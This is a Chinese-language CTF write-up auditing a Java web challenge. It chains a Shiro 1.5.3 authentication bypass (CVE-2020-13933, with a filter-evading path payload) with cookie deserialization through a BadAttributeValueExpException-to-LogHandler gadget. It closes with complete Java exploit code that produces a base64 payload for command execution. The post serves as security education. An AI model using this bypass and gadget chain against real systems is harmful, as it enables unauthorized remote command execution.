本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞。
0x00 前言
近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。
在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:Shiro、Fastjson、JBoss、WebLogic、Structs2等等。
本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。
0x01 正文
题目本身是Web题目,并且提供了源码。
打开页面,登录窗口。
页面仅有一个登录窗口,尝试一波弱口令,无结果。
然后去看代码,jar包导入JD-GUI,随便点点。
大致文件结构如下:
其中ShiroConfig.class内容如下:
简单审计发现,index内容需要认证,也就是需要登录。
查看index对应的IndexController.class,发现存在反序列化点。
具体代码如下:
if (cookies != null) {
for (Cookie c : cookies) {
if (c.getName().equals("userinfo")) {
exist = true;
cookie = c;
break;
}
}
}
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
user = (User)Tools.deserialize(bytes);
} else {
user = new User();
user.setId(1);
user.setName(name);
cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
当访问index时,并且存在cookie的key为userinfo时,会对其value进行deserialize。
过程如下:
cookie[userinfo] –> base64decode –> deserialize
暂时思路是,登录之后,通过cookie进行反序列化。
但是由MyRealm.class可知,密码是随机的。
具体代码如下:
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。
根据 可知,常用payload为/index/%3bxxx。
但存在过滤器AllFilter.class。
public class AllFilter implements IAllFilter {
public String filter(String param) {
String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
for (String i : keyWord) {
param = param.replaceAll(i, "");
}
return param;
}
}
AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload为/index/%3b/xxx。
绕过权限之后,发现后台为日志记录。
涉及到LogHandler.class,在之后的后续反序列化会用到。
绕过权限之后,想办法反序列化。
要序列化的条件是,必须继承Java.io.Serializable接口。
在代码中寻找可被利用的class。
发现LogHandler.class。
其中存在命令执行点
public class LogHandler extends HashSet implements InvocationHandler {
private static final long serialVersionUID = 1L;
private String readLog = "tail /tmp/accessLog"; private Object target;
private String writeLog = "echo /test >> /tmp/accessLog";
public LogHandler() {}
public LogHandler(Object target) { this.target = target; }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
public String toString() { return Tools.exeCmd(this.readLog); }
}
LogHandler继承了HashSet。
HashSet继承了Java.io.Serializable接口。
HashSet部分代码如下:
package Java.util;
import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;
public class HashSet
extends AbstractSet
implements Set, Cloneable, Java.io.Serializable{
static final long serialVersionUID = -5024744406713321676L;
......
之后的pop链为:
deserialize –> LogHandler –> toString –> exeCmd (readLog)
条件:readLog可控 。
readLog为私有属性,可通过Java的反射机制访问属性值。
方法 |
说明 |
getDeclaredField(String name) |
获得某个属性对 |
例如:
import Java.lang.reflect.*;
public class AccessAttribute {
public static void main(String[] args) throws Exception {
Field aaa= UserClass.getDeclaredField("name");
aaa.setAccessible(true);//私有属性,设置可访问
aaa.set(user, "liuxigua");
}
}
最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。
最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类
BadAttributeValueExpException部分代码如下:
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
可通过将val设置为logHandler类,最终在readObject时调用其toString方法。
BadAttributeValueExpException (val) --> LogHandler(readLog).toString() --> serialize --> base64encode
cookie[userinfo] --> base64decode --> deserialize --> LogHandler --> toString --> exeCmd (readLog)
最终Gadgets:
Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()--> tools.Tools.exeCmd()
注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致
package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;
public class Exp {
public static void main(String[] args) throws Exception{
LogHandler logHandler = new LogHandler();
Field readLogField = LogHandler.class.getDeclaredField("readLog");
readLogField.setAccessible(true);
readLogField.set(logHandler,"touch /tmp/123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,logHandler);
byte[] bytes = Tools.serialize(badAttributeValueExpException);
System.out.println(Tools.base64Encode(bytes));
}
}
生成payload之后,在cookie的userinfo值填入,可执行命令。
0x02 总结
众所周知,Java代码开发与Java代码审计,并不是充分必要条件。
你问我懂不懂Java,那我当然是不懂的。
你问我能不能搞Java代码审计,其实也不是不能搞。
相关文章
本站已关闭游客评论,请登录或者注册后再评论吧~